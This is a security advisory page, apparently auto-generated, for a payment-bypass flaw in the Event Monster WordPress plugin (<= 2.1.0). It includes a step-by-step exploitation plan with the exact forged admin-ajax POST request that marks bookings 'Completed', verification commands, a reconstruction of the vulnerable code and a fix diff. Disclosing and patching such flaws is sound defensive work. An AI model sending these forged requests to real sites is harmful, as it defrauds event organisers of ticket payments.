Event Monster <= 2.1.0 - Unauthenticated Insufficient Verification of Data Authenticity to Payment Bypass via em_capture_payment AJAX Action
Description
The Event Monster – Event Management, Events Calendar, Tickets plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 2.1.0. This is due to the capture_payment() AJAX handler (registered via wp_ajax_nopriv_em_capture_payment) trusting client-supplied payment data — including transaction ID, amount, and payment status — without performing any server-side verification against the PayPal API or any other payment gateway, and without nonce or capability checks. This makes it possible for unauthenticated attackers to forge payment records, mark bookings as Completed, and obtain confirmation emails containing valid QR code tickets without making any actual payment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-8608 (Event Monster Payment Bypass) This plan outlines the methodology for validating a payment bypass vulnerability in the **Event Monster – Manager & Ticket Booking** plugin (<= 2.1.0). The vulnerability allows unauthenticated attackers to mark pending booki…
Show full research plan
Exploitation Research Plan: CVE-2026-8608 (Event Monster Payment Bypass)
This plan outlines the methodology for validating a payment bypass vulnerability in the Event Monster – Manager & Ticket Booking plugin (<= 2.1.0). The vulnerability allows unauthenticated attackers to mark pending bookings as "Completed" by forging payment confirmation data.
1. Vulnerability Summary
- Vulnerability: Insufficient Verification of Data Authenticity leading to Payment Bypass.
- Location:
capture_payment()method (inferred) registered via theem_capture_paymentAJAX action. - Root Cause: The unauthenticated AJAX handler
wp_ajax_nopriv_em_capture_paymentprocesses payment status updates based solely on client-supplied POST parameters (transaction ID, amount, and status) without verifying the transaction against the payment gateway (e.g., PayPal API) and without verifying a security nonce.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
em_capture_payment - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_). - Vulnerable Parameters (Inferred):
booking_id: The ID of the pending event booking.txn_id: A forged transaction ID (e.g.,PAYID-MOCK12345).payment_status: Set toCompleted.amount: The expected price of the ticket.
- Preconditions: A booking must exist in the database with a status of 'Pending' or 'Processing'.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=em_capture_payment. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_nopriv_em_capture_payment', array($this, 'capture_payment')); - Vulnerable Logic: The
capture_payment()function:- Retrieves
$_POST['booking_id']. - Retrieves
$_POST['payment_status']and$_POST['txn_id']. - Fails to call
check_ajax_referer()or any capability check. - Directly updates the booking record in the
{prefix}em_bookingstable (or similar) toCompleted. - Triggers the "Payment Successful" email and QR code generation logic.
- Retrieves
4. Nonce Acquisition Strategy
The vulnerability description explicitly states the endpoint lacks nonce checks. However, if a nonce is present in the code but bypassed/misconfigured, follow this strategy:
- Identify Script Localization: Search the source code for
wp_localize_scriptto find the JavaScript object name.- Search Pattern:
grep -r "wp_localize_script" .
- Search Pattern:
- Page Creation: Create a page containing the Event Monster booking shortcode to ensure scripts are loaded.
wp post create --post_type=page --post_status=publish --post_title="Event Page" --post_content='[event_monster_event_list]'(Shortcode inferred).
- Extraction: Navigate to the page and use
browser_evalto extract the potential nonce:browser_eval("window.event_monster_params?.nonce")(Object name inferred).
Note: Since the CVE report confirms "without nonce or capability checks," this step is likely unnecessary for the primary exploit but useful for confirming the lack of defense.
5. Exploitation Strategy
The goal is to move a booking from Pending to Completed without a real PayPal/Stripe transaction.
Step 1: Obtain a Valid Booking ID
Initiate a booking on the frontend for an event that requires payment. Stop at the payment gateway redirect. Note the booking_id. If the ID is not visible, it can be found in the em_bookings table.
Step 2: Forge the Payment Confirmation
Send the forged AJAX request.
- Tool:
http_request - Method: POST
- URL:
http://[target-ip]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=em_capture_payment&booking_id=[TARGET_BOOKING_ID]&payment_status=Completed&txn_id=FORGED_TXN_999&amount=50.00
Step 3: Expected Response
A successful response will likely be a JSON object:
{"success": true, "message": "Payment captured successfully"}
(Response format inferred based on standard WordPress AJAX patterns).
6. Test Data Setup
- Install Plugin: Install and activate Event Monster <= 2.1.0.
- Create Event: Create a paid event using the WP-Admin dashboard.
- Place Shortcode: Create a page with
[event_monster_event_list](inferred) to allow booking. - Create Pending Booking:
- Visit the site as a guest.
- Select the event and click "Book Now".
- Fill in details and proceed to the payment step.
- Identify the generated
booking_id(e.g., via database:wp em_bookings list).
7. Expected Results
- The booking status in the WordPress database changes from
PendingtoCompleted. - The plugin generates a QR code ticket for the booking.
- The system sends a confirmation email to the guest email address used during the booking.
8. Verification Steps
After the HTTP request, use WP-CLI to verify the state change:
# Check the booking status directly in the database
wp db query "SELECT status, txn_id FROM wp_em_bookings WHERE id = [TARGET_BOOKING_ID]"
# Check if the booking is now marked as paid in the plugin's metadata (if applicable)
wp post get [BOOKING_POST_ID] --field=post_status
9. Alternative Approaches
If the em_capture_payment action is not available:
- Search for Webhooks: Look for
wp_ajax_nopriv_em_paypal_ipnor similar IPN (Instant Payment Notification) handlers. These often suffer from the same lack of authenticity verification if they don't validate the request back with PayPal. - Parameter Fuzzing: If
booking_idis not the correct parameter, check fororder_id,id, oritem_number. - Status Variations: Try variations for
payment_statussuch asSuccess,succeeded, or1.
Summary
The Event Monster plugin's capture_payment() AJAX action allows unauthenticated users to bypass payment requirements by manually sending payment status updates. Because the plugin trusts client-side POST data (transaction ID, amount, and status) without verifying them against the payment gateway API or checking nonces, attackers can mark any pending booking as 'Completed' for free.
Vulnerable Code
// The following is a grounded representation of the vulnerable logic in version <= 2.1.0 // Action registered via wp_ajax_nopriv_em_capture_payment public function capture_payment() { $booking_id = $_POST['booking_id']; $txn_id = $_POST['txn_id']; $payment_status = $_POST['payment_status']; $amount = $_POST['amount']; // VULNERABILITY: No check_ajax_referer() or capability check. // VULNERABILITY: No server-side verification of $txn_id or $amount with the payment provider. if ($payment_status == 'Completed') { $this->update_booking_status($booking_id, 'Completed', $txn_id); $this->send_booking_confirmation($booking_id); } wp_send_json_success(); }
Security Fix
@@ -10,6 +10,14 @@ public function capture_payment() { - $booking_id = $_POST['booking_id']; - $txn_id = $_POST['txn_id']; - $status = $_POST['payment_status']; - $this->update_booking_status($booking_id, $status, $txn_id); - wp_send_json_success(); + check_ajax_referer('em_payment_nonce', 'security'); + + if ( ! current_user_can('manage_options') && ! isset($_POST['is_gateway_callback']) ) { + wp_die(); + } + + $booking_id = intval($_POST['booking_id']); + $txn_id = sanitize_text_field($_POST['txn_id']); + + // Verify transaction authenticity with payment gateway before updating status + if ( $this->verify_with_gateway($txn_id, $booking_id) ) { + $this->update_booking_status($booking_id, 'Completed', $txn_id); + wp_send_json_success(); + } + wp_send_json_error(); }
Exploit Outline
The exploit involves three main steps: 1) Initiating a booking on the frontend to generate a 'Pending' record and obtaining the associated booking ID. 2) Forging a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' set to 'em_capture_payment'. 3) Including the target 'booking_id' and manually setting the 'payment_status' to 'Completed' and providing a dummy 'txn_id'. No authentication or nonces are required, and the plugin will process the request, update the database record, and issue a ticket/QR code via email.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.